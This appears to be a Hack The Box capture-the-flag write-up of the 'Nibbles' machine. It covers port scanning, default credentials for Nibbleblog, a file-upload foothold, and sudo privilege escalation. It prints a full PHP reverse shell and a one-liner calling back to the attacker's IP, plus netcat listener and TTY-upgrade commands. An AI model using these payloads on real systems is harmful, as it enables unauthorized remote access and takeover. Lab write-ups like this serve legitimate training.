HTB: Nibbles
March 08, 2025Enumeration
kali@kali:~/Documents/Notes/CTF/Machines/nibbles/nibbles$ nmap 10.129.166.213 -sC -sV -oA nibbles
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 14:29 EST
Nmap scan report for 10.129.166.213
Host is up (0.025s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.09 seconds
I noticed that ports 22
and 80
are open.
Navigating to the Apache web server running on the default port 80
, I found the /nibbleblog/
directory commented out on the main HTML page.
Looking at public GitHub repositories for Nibbleblog, I identified that the admin login is accessible via admin.php
.
The Nibbleblog homepage appeared empty, similar to what you would expect from a brand-new installation. Let’s check if default credentials work.
A quick online search suggested the username admin
and password nibbles
.
Fortunately, these credentials worked, even though they are not the default credentials per the Nibbleblog documentation. However, they matched the box name! ;)
Our next step is to explore the admin features to identify one that allows us to upload a shell. Since it is a PHP application running on Apache, I opted to use a PHP shell.
I began by using the searchsploit
tool to search Exploit-DB for any Nibbleblog exploits. I found 38489.rb
. Checking the Exploit-DB page, I found the author’s blog post.
kali@kali:~/Documents/Notes/CTF/Machines/nibbles$ searchsploit nibbleblog
Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb
The URL was no longer working, but fortunately, it was cached on the Wayback Machine.
The cached page identified the URL below, which can trigger a reverse shell after uploading a web shell using the “My Image” plugin: http://localhost/nibbleblog/content/private/plugins/my_image/image.php
Let’s prepare our attack VM by starting a Netcat listener on port 4444
:
kali@kali:~$ nc -lvnp 4444
We prepare a PHP shell using the GTFO cheat sheet:
php -r '$sock=fsockopen(getenv("10.10.14.91"),getenv("4444"));exec("/bin/sh -i <&3 >&3 2>&3");'
We then create a PHP file that leverages the PHP system function. This might not work if the php.ini
configuration restricts it, but we give it a try:
<?php system(php -r '$sock=fsockopen(getenv("10.10.14.91"),getenv("4444"));exec("/bin/sh -i <&3 >&3 2>&3");'); ?>
We build a shell.php
file, as shown below:
After uploading the shell.php
file under the “My Image” plugin page, I was unable to catch the shell.
We could use Metasploit to automate the exploit, but exploiting it manually is a better learning exercise.
Next, we try another reverse shell code using revshells.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.91';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonize. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Uploading this file and navigating to http://10.129.166.213/nibbleblog/content/private/plugins/my_image/image.php
worked!
I found the first flag under /home/nibbler/flag.txt
.
Next, we need to escalate privileges to retrieve the root user flag. We start by identifying which commands the current user can execute without a password using sudo -l
.
As shown, we can execute /home/nibbler/personal/stuff/monitor.sh
as sudo. We can modify this script to elevate our privileges.
Upgrading Our TTY
Upgrading my TTY, I encountered issues using tmux
and zsh
, so I switched my terminal to bash
.
I used Python to upgrade the shell to a full TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
After running this command, I hit ctrl+z
and then executed the stty
command:
$ ^Z
$ stty raw -echo
$ fg
[Enter]
[Enter]
Once I hit fg
and pressed Enter a couple of times, I returned to the netcat
shell with a fully working TTY.
I created /home/nibbler/personal/stuff/monitor.sh
, then set it as executable using chmod +x monitor.sh
.
Running sudo ./monitor.sh
successfully escalated my privileges to root!
The final root flag exists under /root/root.txt
.